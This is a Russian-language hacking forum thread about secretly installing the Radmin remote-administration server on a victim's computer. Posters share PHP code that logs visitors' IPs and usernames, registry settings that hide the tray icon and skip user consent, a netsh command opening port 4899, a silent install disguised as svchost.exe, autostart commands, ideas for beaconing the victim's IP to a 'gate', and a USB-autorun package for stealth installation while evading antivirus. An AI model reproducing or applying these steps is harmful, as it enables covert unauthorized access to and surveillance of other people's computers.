Скрытая установка сервера Radmin.

подскажите плз по способу узнать ип жертвы:

Тут уж каждый придумает свой способ, но могу порекоммендовать следующий код на пхп, чтобы узнать Ip-адрес:
PHP код:
<?
$a = $_SERVER['REMOTE_ADDR'];
$b = $_SERVER['HTTP_USER_AGENT'];
$c = @$_SERVER['HTTP_REFERER'];
$d = $_SERVER['SERVER_PORT'];
$e = $_SERVER['HTTP_HOST'];
$af = $_ENV['USERNAME'];

$count1=" IP: $a br: $b ot: $c p: $d h: $e us: $af \n";
$f=fopen("log.txt","a+");
fwrite($f,$count1);
fclose($f);
?>

Этот код я так понимаю в скрипте на сервере в интернете. А как комп жертвы будет отбиваться в txt на сервере? Откуда рададмин знает где мой сервер. Где это прописать.

При обращении к странице с этим скриптом в файл log.txt будет записана информация о посещении (в частности IP-адрес).

Собственно вопрос как организовать обращение к этому скрипту, что бы отбился ип.

Помогите плз разобраться.

 

При обращении к странички с этим кодом в файл log.txt будет записан ип посетителя. можно подсоединить этот файл со скриптом к сайту (другому файлу пхп) функцией include().
а вообще лучше вот так:

PHP:

$a =getIP() ;
function getIP() {
   if(isset($_SERVER['HTTP_X_REAL_IP'])) return $_SERVER['HTTP_X_REAL_IP'];
   return $_SERVER['REMOTE_ADDR'];
}

 

Burt, ну это я понял. Только не пойму, можно ли сделать что бы заставить рададмина при запуске самому лезть на сервак, что бы данные отбились в логе?

 

Нужна небольшая помощь я одного непойму:
Почему у меня невыходит соединится с сервером
хотя я сделал все по инструкции скомпелировал файлы
запускаю установка проходит с екзешника а вот соединится
неполучается пишит "Соединение с 9X.XXX.XXX.XXX
Не удается соединиться с сервером"
Примечание: Хотя качал готовые версии ставил и все работало без проблем
не считая самой важной проблемы все эти сборки палились обычным "Защитник Windows"
А вот с этой инструкцией наоборот не чо непалит покрайней мере у меня
ну вот засада нехватает у меня ума додуматся самому почему "Не удается соединиться с сервером"
Ставил на Висту. Приемник Radm3.X

 

Подскажите плиз как мне изменить этот параметр, на свой пароль???


"Parameter"=hex:38,70,e3,b9,f6,f4,fb,9e,f8,9c,77,92,11,f4,ce,1a
Parameter - пароль, который будет запрашиваться при соединении с
сервером;

и вот тут подскажите плиз, я правильно все выставил...

"DisableTrayIcon"=hex:01,00,00,00 - иконки видно не будет
"Port"=hex:23,13,00,00
"EnableLogFile"=hex:00,00,00,00 - лог файл будет
"LogFilePath"="c:\\logfile.txt"
"FilterIp"=hex:00,00,00,00 - со всех айпишникво можно зайти
"AskUser"=hex:00,00,00,00 - не спрашивать юзера

Все правильно??? Спасибо за внимание...

и в файле Соурс

эту строку netsh firewall add portopening protocol = TCP port = ???_??????????_????_???? name = TCP

я заменил на такую netsh firewall add portopening protocol = TCP port = 4899 name = TCP

и вот строчечка "%SYSTEMROOT%/help/Tours/nnTour/svchost.exe" /save /silence /pass:moyparol /port:4899

Добавлено через 1 час 34 минуты
И как его теперь удолить???

 

А у кого есть готовая сборка?

 

Помогите пажалуста... не могу сделать так что бы сервак сам запускался без палева при каждом входе в виндоус не чо не получаетсья ...
а [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Param eters]
"DisableTrayIcon"=hex:01,00,00,00 это скрывает с трея.

r_server.exe /install /silence
r_server.exe /start это устанавливает радмина на авторан.

НЕ знаю куда вписать... что бы проверить... тестил с другом, он устанавливает радмин... всё робит, комп перезагружает, и всё я не могу больше подключиться

 

может у него ип динамика? радмин ставится, как служба, все нормально работает по мануалу.

 

зачем в сборку кидать 111.bat? Мы же все и так в Source.bat все прописуем?
Сделал все без 111.bat - работает! Правда АВы палят радмина, хотя и ноу-вирус, но все равно это критично для скрытой установки.

 

Народ по локальной сети все норм работает вот я непойму как сделать через интернет по внешним ip есть какаета инфа если да то киньте ссыль!Спасибо

 

Тушик,
В большинстве случаев внешний IP не постоянен, нужно всё время получать новый IP жертвы. Есть готовые подобные сборки с отправкой ип на почту но ни одного рабочего я не видел, можно использовать немного поправить проект и отправлять IP на гейт

 

В эту сборку просто надо воткнуть vbs-скрипт, который будет проверять подключение и стучать на гейт, или написать на нормальном ЯП простую стучалку на гейт.

 

И вообще актуален третий радмин, вечером гляну, может на него тоже получится что-то такое сделать.

 

у некоторых ип каждые 15 минут меняется, лучше бы ТВ развивали...

 

развивайте, все в ваших руках, благо, в интернетах имеются различные справочные материалы и видео-туториалы. тим вьюером занималась саламандра, забросила, потому что тема себя исчерпала, а школота начала борзеть, требуя все более совершенных вариантов.

 

​

 

Корыстная школота совсем охуела xD

 

Сегодня, интереса ради, поковырялся с радмином, на предмет тихой + автоматической установки с флешки.

В итоге:

Всё это можно допилить, конечно, но, возникает вопрос - надо ли? Вероятнее всего, комп за натом, на нем стоит антивирь, который гавкнет на радминскую длл'ку, итд, итп. Уж если есть доступ к компу со своей флешкой, то резоннее прикрутить на неё своего бекдора с бекконнектом, имхо.

Если кто-то всё-таки захочет скачать это народное творчество, то

[+] Показать

Скачать
Архив распаковать в корень флешки. При автозапуске, выбирать самый первый вариант, под названием "Открыть папку для просмотра файлов"
xnt:xakername, порт стандартный

[свернуть]

 

Iindigo,
а как тут задаются директивы и параметры? Файлом install.exe? Или это перепакованный пакет msi?

 

onthar,
exe'шником. Была мысль повозится с перепаковкой msi пакета, но руки не дошли. А так можно было бы и процесс переименовать и пути подчистить.